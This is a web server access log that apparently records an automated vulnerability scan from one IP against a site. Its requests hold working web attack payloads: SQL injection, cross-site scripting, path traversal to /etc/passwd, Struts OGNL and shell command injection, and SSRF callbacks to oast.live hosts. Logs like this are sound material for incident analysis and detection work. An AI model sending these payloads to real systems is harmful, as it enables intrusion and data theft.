[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.config.i18n.ashx?l=lgesu&v=lgesu HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/data/autosuggest-remote.php?q=\"><img%20src=x%20onerror=alert(1)> HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ReportServer/Pages/ReportViewer.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Autodiscover/Autodiscover.xml HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /service/rapture/session HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /devices.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL+--+&searchColumn=n.id&searchOption=contains HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /commands.inc.php?searchOption=contains&searchField=vuln&search=search&searchColumn=command%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,md5('999999999'),0x5B50574E5D3C42523E)%20limit%200,1),NULL-- HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /pandora_console/index.php?sec=netf&sec2=operation/netflow/nf_live_view&pure=0 HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /compliancepolicies.inc.php?search=True&searchColumn=policyName&searchOption=contains&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL+--+ HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /compliancepolicyelements.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL,NULL+--+&searchColumn=elementName&searchOption=contains HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/my-calendar/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?redirect=/\\/interact.sh/ HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cs/Satellite?pagename=OpenMarket/Xcelerate/Admin/Slots HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /snippets.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL+--+&searchColumn=snippetName&searchOption=contains HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backupsettings.dat HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MicroStrategyWS/happyaxis.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.swn HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/snapshots HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%252f%255cinteract.sh%252fa%253fb/ HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/login.htm?type=probes HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=duplicator_download&file=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/chopslider/get_script/index.php?id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))A) HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=http://d5g6to2hausk1oj0j65g3c3yjf1sydezm.oast.live/ HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /awcuser/cgi-bin/vcs_access_file.cgi?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.action?redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /does_not_exist%22%22%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E%3Cimg%20src=x HTTP/1.1" 199
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ucmdb-api/connect HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mailingupgrade.php HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /v2/api/product/manger/getInfo HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-content/plugins/post-pdf-export/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/experimental/test HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/admin/filemanager/sa/getZipFile?path=/../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/live_api.cgi?page=e40&id=1&ip=;id; HTTP/1.1" 199
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/ExportAllSettings.sh HTTP/1.1" 199
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?s=%3Cimg%20src%3Dx%20onerror%3Dalert%28123%29%3B%3E HTTP/1.1" 3426
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /talari/app/files/380DI69W2HDUcLqRKF0E5xtdZWB HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wls-wsat/CoordinatorPortType HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak.swn HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /_async/AsyncResponseService HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pma/index.php?pma_servername=d5g6to2hausk1oj0j65g5ndpc6j1ygk6i.oast.live&pma_username=380DIYx8mVzA3tv1vDKrczmeYHz&pma_password=380DIYx8mVzA3tv1vDKrczmeYHz&server=1 HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]&ids[0][product_id][from]=?&ids[0][product_id][to]=)))+OR+(SELECT*FROM+(SELECT+SLEEP((6)))a)%3d1+--+- HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /analytics/saw.dll?bieehome&startPage=1 HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax/api/content_infraction/getIndexableContent HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /files/ldap.debug.txt HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /QXsZIuIivX.txt HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/login.cgi HTTP/1.1" 199
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f20224d7a677752456c515658705a5a6b7734567a6c726557777959306c684e58684d4e554a5322207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5 HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252F1.1.1.1 HTTP/1.1" 196
[09/Jan/2026:10:54:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1" 226
[09/Jan/2026:10:54:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /apisix/admin/routes HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /run HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/3rdPartyServers/ox3rdPartyServers/max.class.php?0=id HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /localmenus.cgi?func=609&rphl=1&data=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /badging/badge_print_v0.php?tpl=../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /pandora_console/ajax.php?page=include/ajax/events&perform_event_response=10000000&target=cat+/etc/passwd&response_id=1 HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install/index.php?step=database_config&db_error=<img%20src=x%20onerror=alert(document.domain)%20/> HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /service/rest/beta/repositories/bower/group HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/experimental/latest_runs HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/experimental/dags/example_trigger_target_dag/paused/false HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OneView/view/center?a%27+type%3d+%27text%27+autofocus+onfocus%3d%27alert(document.domain) HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wls-wsat/CoordinatorPortType HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /lib/crud/userprocess.php HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/acf/v3/options/a?id=active&field=plugins HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /apply_sec.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /newVersion?callback=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SWNetPerfMon.db.i18n.ashx?l=lgesu&v=lgesu HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Devices-Config.php?sta=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/login.htm?type=requests HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?key=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)%20and%20updatexml(1,concat(0x7e,md5('999999'),0x7e),1)--++ HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/login HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /secure/QueryComponent!Default.jspa HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?redirect=//interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth/login?to=/92874%27;alert(document.domain)//280 HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-content/plugins/blogtopdf/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /PDC/ajaxreq.php?PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3D%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2C%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2C%23emptyset%29%29.%28%23arglist%3D%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22cat+%2Fetc%2Fpasswd%22%29%29.%28%23execute%3D%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7D HTTP/1.1" 3426
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27; HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /content/380DIDmYTSlLCQMXnd0BJV1YmYd.af.internalsubmit.json HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext('http://d5g6to2hausk1oj0j65gtx7dsq8xu3k1o.oast.live') HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?r=test/sss&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6ImxzIC1hbCI7fWk6MTtzOjM6InJ1biI7fX19fQ== HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.action?redirectAction%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kylin/api/admin/config HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /base/static/c:/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fhem/FileLog_logWrapper?dev=Logfile&file=%2fetc%2fpasswd&type=text HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27; HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /s/380DITQNA8evLlrVL6TeYlXxqkD/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mifs/.;/services/LogService HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/ HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /control/stream?contentId=%27\\%22%3E%3Csvg/onload=alert(/xss/)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fuel/login/ HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pmd/index.php?pma_servername=d5g6to2hausk1oj0j65gjq5j9x3j6uumj.oast.live&pma_username=380DIYx8mVzA3tv1vDKrczmeYHz&pma_password=380DIYx8mVzA3tv1vDKrczmeYHz&server=1 HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_async/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_404_/%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fw.progrss.details.php?popup=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]&ids[0][product_id][from]=?&ids[0][product_id][to]=)))%20OR%20(SELECT%201%20UNION%20SELECT%202%20FROM%20DUAL%20WHERE%201=0)%20--%20- HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /passport/index.php?action=manage&mtype=userset&backurl=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //SupportPortlet/faces/javax.faces.resource./WEB-INF/web.xml.jsf?ln=.. HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tests/support/stores/test_grid_filter.php?query=echo%20md5%28%22CVE-2020-19625%22%29%3B HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /session_login.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /php/demo.php HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /secure/ViewUserHover.jspa HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?cffaction=get_data_from_database&query=SELECT%20*%20from%20wp_users HTTP/1.1" 3426
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /module/ HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /forgot_password.php HTTP/1.1" 196
[09/Jan/2026:10:54:18 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380DIIbOiGTo8jJ4lRRTEWFFG03?cmd=id HTTP/1.1" 196
